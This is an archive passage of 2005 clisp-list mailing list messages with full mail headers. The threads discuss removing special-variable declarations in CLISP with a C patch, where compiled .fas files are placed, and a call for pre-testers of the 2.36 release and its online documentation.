http://clisp.cons.org/impnotes/regexp-mod.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://www.jihadwatch.org/ http://www.savegushkatif.org http://www.memri.org/ http://truepeace.org Abandon all hope, all ye who press Enter. From raymond.toy@ericsson.com Wed Nov 16 11:00:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EcSVm-0005MA-M0 for clisp-list@lists.sourceforge.net; Wed, 16 Nov 2005 11:00:02 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EcSVk-00050b-IH for clisp-list@lists.sourceforge.net; Wed, 16 Nov 2005 11:00:02 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAGIxrXx028438 for ; Wed, 16 Nov 2005 12:59:53 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY978V9; Wed, 16 Nov 2005 12:59:52 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Tue, 08 Nov 2005 12:46:58 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 16 11:01:03 2005 X-Original-Date: Wed, 16 Nov 2005 13:59:50 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2005-11-08 11:46:41 -0500]: >> >> >> That might work, and it should be portable too. And couldn't you >> >> preserve the symbol-plist and function definitions by reinstalling >> >> them on the new symbol? >> >> Actually it doesn't quite work. maxima gets some error about #:arg >> being an undefined function. Don't know where that comes from, but >> maxima doesn't build now. Sam> sure, it's not quite safe... Sam> I am at loss to imagine a scenario that would lead to this though. I've played around some more. This replacement works allows maxima to compile and complete it's testsuite: (defun make-unspecial (variable) (let ((name (symbol-name variable)) (package (symbol-package variable))) (unless (fboundp variable) (if (ext:special-variable-p variable) (when package (unintern variable) (intern name package)) (warn "MAKE-UNSPECIAL on a symbol that is not a special variable: ~S" variable))))) The warning is probably not necessary. And instead of skipping over fboundp symbols, it should probably save the function and reinstall it, unless function identity is required. But this works well enough. Don't know if it really did what was intended, though. Ray From sds@gnu.org Wed Nov 16 15:33:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EcWmY-0000Mk-RW for clisp-list@lists.sourceforge.net; Wed, 16 Nov 2005 15:33:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EcWmW-0006ZR-D1 for clisp-list@lists.sourceforge.net; Wed, 16 Nov 2005 15:33:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAGNXDQj013881; Wed, 16 Nov 2005 18:33:20 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Wed, 16 Nov 2005 13:59:50 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 16 15:34:02 2005 X-Original-Date: Wed, 16 Nov 2005 18:32:16 -0500 Please try the appended patch. It allows removing the special declaration using this syntax: (proclaim '((not special) foo)) and (declaim ((not special) foo)) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.palestinefacts.org/ http://www.iris.org.il http://www.jihadwatch.org/ http://www.mideasttruth.com/ Never trust a man who can count to 1024 on his fingers. --- control.d 06 Jul 2005 11:02:00 -0400 1.134 +++ control.d 16 Nov 2005 18:30:40 -0500 @@ -2109,6 +2109,14 @@ clear_const_flag(TheSymbol(symbol)); set_special_flag(TheSymbol(symbol)); } + } else if (consp(decltype) && eq(Car(decltype),S(not)) + && consp(Cdr(decltype)) && eq(Car(Cdr(decltype)),S(special)) + && nullp(Cdr(Cdr(decltype)))) { /* (NOT SPECIAL) */ + while (!endp( STACK_0/*declspec*/ = Cdr(STACK_0/*declspec*/) )) { + var object symbol = check_symbol(Car(STACK_0/*declspec*/)); + if (!keywordp(symbol)) clear_const_flag(TheSymbol(symbol)); + clear_special_flag(TheSymbol(symbol)); + } } else if (eq(decltype,S(declaration))) { /* DECLARATION */ while (!endp( STACK_0/*declspec*/ = Cdr(STACK_0/*declspec*/) )) { var object symbol = check_symbol(Car(STACK_0/*declspec*/)); From marko.kocic@gmail.com Wed Nov 16 21:55:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EcckK-00082n-Fx for clisp-list@lists.sourceforge.net; Wed, 16 Nov 2005 21:55:44 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EcckK-00073y-GX for clisp-list@lists.sourceforge.net; Wed, 16 Nov 2005 21:55:44 -0800 Received: by zproxy.gmail.com with SMTP id k1so1915234nzf for ; Wed, 16 Nov 2005 21:55:30 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=KAGapDksHW9v3R1SJUI3p2nBftPHWOwbG5PnsrtIR5569Gbf7d98C/qYbW66i8+0DJPMhte5bQw3Vmy9vKqFBW05vQk1DkEUPq4uFTjQE8OOdgZaFEY0OPzw2r87ChcsWgWXOpHkS3MoPRhJjZE+R0TPj1uIp1q1SHqN4ZngfCI= Received: by 10.37.18.7 with SMTP id v7mr7157623nzi; Wed, 16 Nov 2005 21:55:29 -0800 (PST) Received: by 10.36.221.68 with HTTP; Wed, 16 Nov 2005 21:55:29 -0800 (PST) Message-ID: <9238e8de0511162155n694b39dct@mail.gmail.com> From: Marko Kocic To: list-clisp MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Changing place of generated .fas files Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 16 21:56:05 2005 X-Original-Date: Wed, 16 Nov 2005 21:55:29 -0800 Hi, This is maybe more of a lisp question, but I think it is enough clisp specific to post it here. What I wan't to do is to somehow extend function that generates .fas and .lib files so that those files are not located in the same folder where source .lsp or .lisp files are located. Instead, I wan't to put them ato some fixed location. eg, if I load and compile "c:\foo\bar.lisp" I don't wand .fas and .lib to be generated in "c:\foo" but eg. in "c:\lisp\compiled\clisp\c\foo" folder/ In the same time, if I say (load "c:\foo\bar.lisp"), I would like that it doesn't look for "c:\foo\bar.fas", but for "c:\lisp\compiled\clisp\c\foo" instead) Is something like this possible to do without modifying clisp source. Which functions\classes should I try to redefine in order to achieve this. Reason for doing this is that I would like to use same libraries with multiple lisp implementations (clisp, abcl, ecls) without having to clean up source trees of .fas files each time. I just want to start with clisp cause I use it the most. Regards, Marko From sds@gnu.org Thu Nov 17 07:17:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EclVm-0003mA-HN for clisp-list@lists.sourceforge.net; Thu, 17 Nov 2005 07:17:18 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EclVg-0007ME-LM for clisp-list@lists.sourceforge.net; Thu, 17 Nov 2005 07:17:18 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAHFGok8004396; Thu, 17 Nov 2005 10:16:50 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0511162155n694b39dct@mail.gmail.com> (Marko Kocic's message of "Wed, 16 Nov 2005 21:55:29 -0800") References: <9238e8de0511162155n694b39dct@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Changing place of generated .fas files Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 17 07:18:02 2005 X-Original-Date: Thu, 17 Nov 2005 10:15:53 -0500 > * Marko Kocic [2005-11-16 21:55:29 -0800]: > > What I wan't to do is to somehow extend function that generates .fas > and .lib files so that those files are not located in the same folder > where source .lsp or .lisp files are located. Instead, I wan't to put > them ato some fixed location. eg, if I load and compile > "c:\foo\bar.lisp" I don't wand .fas and .lib to be generated in > "c:\foo" but eg. in "c:\lisp\compiled\clisp\c\foo" folder/ In the same > time, if I say (load "c:\foo\bar.lisp"), I would like that it doesn't > look for "c:\foo\bar.fas", but for "c:\lisp\compiled\clisp\c\foo" > instead) defsystem and asdf will do that for you, so I would recommend that you just use either one of them. if you absolutely want to stick with vanilla CL, you need to do this: 1. to place compiled files in a different location, either pass :OUTPUT-FILE to COMPILE-FILE or redefine COMPILE-FILE-PATHNAME. 2. to look at the compiled directory first, add both source and binary directory to *load-paths* and (load "foo") will load the newest among foo.lisp and foo.fas in source and compiled directories. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.dhimmi.com/ http://www.savegushkatif.org http://www.camera.org http://www.jihadwatch.org/ http://www.iris.org.il There are no answers, only cross references. From raymond.toy@ericsson.com Thu Nov 17 13:58:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EcrmR-0004WD-VW for clisp-list@lists.sourceforge.net; Thu, 17 Nov 2005 13:58:55 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EcrmQ-0007Z0-Ui for clisp-list@lists.sourceforge.net; Thu, 17 Nov 2005 13:58:56 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAHLwgZt007584 for ; Thu, 17 Nov 2005 15:58:42 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY99V5Y; Thu, 17 Nov 2005 15:58:42 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Wed, 16 Nov 2005 18:32:16 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 17 13:59:01 2005 X-Original-Date: Thu, 17 Nov 2005 16:58:40 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> Please try the appended patch. Sam> It allows removing the special declaration using this syntax: Sam> (proclaim '((not special) foo)) Sam> and Sam> (declaim ((not special) foo)) Nice. What version should this patch be used with? I'm currently using 2.33. 2.34 gets an internal error when running the test suite. (Sorry for no reporting it!) I'll try 2.35 now.... All on Solaris 8. Ray From sds@gnu.org Thu Nov 17 14:13:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ecs0U-00057u-Az for clisp-list@lists.sourceforge.net; Thu, 17 Nov 2005 14:13:26 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ecs0Q-0006oh-9t for clisp-list@lists.sourceforge.net; Thu, 17 Nov 2005 14:13:26 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAHMCvZU000592; Thu, 17 Nov 2005 17:12:58 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Thu, 17 Nov 2005 16:58:40 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 17 14:14:05 2005 X-Original-Date: Thu, 17 Nov 2005 17:12:00 -0500 > * Raymond Toy [2005-11-17 16:58:40 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> Please try the appended patch. > Sam> It allows removing the special declaration using this syntax: > > Sam> (proclaim '((not special) foo)) > > Sam> and > > Sam> (declaim ((not special) foo)) > > Nice. > > What version should this patch be used with? cvs head. > I'm currently using 2.33. 2.34 gets an internal error when running > the test suite. (Sorry for no reporting it!) I'll try 2.35 now.... > All on Solaris 8. cvs head builds ootb on sparc and x86. CVS head now supports (declaim (not-special foo)). -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.memri.org/ http://www.camera.org http://www.mideasttruth.com/ http://ffii.org/ There are two ways to write error-free programs; only the third one works. From raymond.toy@ericsson.com Fri Nov 18 05:58:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed6kd-0007V3-Rn for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 05:58:03 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ed6kd-0005kE-P7 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 05:58:04 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAIDvvJ6015226 for ; Fri, 18 Nov 2005 07:57:57 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY90SLN; Fri, 18 Nov 2005 07:57:57 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 17 Nov 2005 17:12:00 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 06:04:13 2005 X-Original-Date: Fri, 18 Nov 2005 08:57:57 -0500 >>>>> "Sam" == Sam Steingold writes: >> What version should this patch be used with? Sam> cvs head. Ok. >> I'm currently using 2.33. 2.34 gets an internal error when running >> the test suite. (Sorry for no reporting it!) I'll try 2.35 now.... >> All on Solaris 8. Sam> cvs head builds ootb on sparc and x86. Clisp 2.35 builds and runs just fine. Will 2.36 be released soon? If so, I'll probably just wait. Sam> CVS head now supports (declaim (not-special foo)). Is there some way I can tell if not-special is available? Some feature or symbol that only exists in CVS head and later? It would be nice to be able to determine this automatically instead of manually enabling or disabling the unspecial support. Thanks for the quick work! Ray From sds@gnu.org Fri Nov 18 06:18:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed74H-0008LA-DA for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 06:18:21 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ed74D-0000Ul-Qi for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 06:18:21 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAIEHvnu019692; Fri, 18 Nov 2005 09:17:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Fri, 18 Nov 2005 08:57:57 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 06:27:18 2005 X-Original-Date: Fri, 18 Nov 2005 09:17:01 -0500 > * Raymond Toy [2005-11-18 08:57:57 -0500]: > > >> I'm currently using 2.33. 2.34 gets an internal error when running > >> the test suite. (Sorry for no reporting it!) I'll try 2.35 now.... > >> All on Solaris 8. > > Sam> cvs head builds ootb on sparc and x86. > > Clisp 2.35 builds and runs just fine. Will 2.36 be released soon? dunno. depends on how many bugs are reported in the coming weeks :-) > If so, I'll probably just wait. please don't -- I need pre-testers! > Sam> CVS head now supports (declaim (not-special foo)). > > Is there some way I can tell if not-special is available? (find-symbol "NOT-SPECIAL" "EXT") > Thanks for the quick work! welcome! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.dhimmi.com/ http://www.savegushkatif.org http://www.camera.org http://ffii.org/ http://pmw.org.il/ WHO ATE MY BREAKFAST PANTS? From sds@gnu.org Fri Nov 18 06:31:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed7HH-0000RA-5r for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 06:31:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ed7HA-0006zK-Nz for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 06:31:44 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAIEVMYs020412; Fri, 18 Nov 2005 09:31:22 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : Subject: [clisp-list] heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 06:36:30 2005 X-Original-Date: Fri, 18 Nov 2005 09:30:26 -0500 I hope to release 2.36 "soon" (2.34 was in this state for 6+ months, I would rather not repeat that). I need people to test CVS head. One thing is the "on-line documentation" that has been missing since day one: 0. read 1. check (custom:clhs-root) and see if you like it. 2. make sure that (custom:impnotes-root) returns "http://www.podval.org/~sds/clisp/impnotes/". 3. set *browser* to something you like (:default on woe32, cygwin, macos, :mozilla on other unices) 4. evaluate (describe 'nreverse) this will open two broser windows: the CLHS page for NREVERSE and impnotes page for NREVERSE. the normal describe output will be mixed with some junk (needed to tell you that an internet connection is made &c) - but only for the _first_ call to describe. (describe 'socket-connect) will start a web page for clisp sockets &c 5. write here and tell me what you think HELP WANTED: Someone has to finish clisp/doc/Symbol-Table.text by reading the impnotes and putting symbols and xml ids into that file. This is an excellent exercise: you will learn a lot about how clisp works and what it can do (I bet you have never read more than a few snippets from the manual before :-), you will suggest many valuable improvements to the manual, and you will help finish the on-line documentation! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.mideasttruth.com/ http://ffii.org/ http://truepeace.org http://pmw.org.il/ WHO ATE MY BREAKFAST PANTS? From raymond.toy@ericsson.com Fri Nov 18 06:37:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed7MO-0000gB-Ci for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 06:37:04 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ed7MM-0004bU-V1 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 06:37:04 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAIEa71n023104 for ; Fri, 18 Nov 2005 08:36:07 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY904YT; Fri, 18 Nov 2005 08:36:07 -0600 To: clisp-list@lists.sourceforge.net References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Fri, 18 Nov 2005 09:17:01 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 06:43:14 2005 X-Original-Date: Fri, 18 Nov 2005 09:36:07 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> cvs head builds ootb on sparc and x86. >> >> Clisp 2.35 builds and runs just fine. Will 2.36 be released soon? Sam> dunno. Sam> depends on how many bugs are reported in the coming weeks :-) >> If so, I'll probably just wait. Sam> please don't -- I need pre-testers! Well, that's a tradeoff. I don't use clisp very much, except for testing maxima. Grabbing CVS clisp is a pain through the corporate firewall. And if I find a bug in some CVS version, I get to go through the pain of grabbing yet another version. It's much easier to stay with a released version. But to test this out, I think I should get a CVS version. Sam> CVS head now supports (declaim (not-special foo)). >> >> Is there some way I can tell if not-special is available? Sam> (find-symbol "NOT-SPECIAL" "EXT") Ah, the obvious solution! Didn't occur to me that not-special was totally new. On a different note, 2.35 builds, but it doesn't include readline support. configure finds it, but, for some reason, it doesn't actually compile in readline support. It's been like this for some time; 2.33 uses readline. Perhaps my readline library is too old (many years) or the arrangement of the readline installed directories is broken 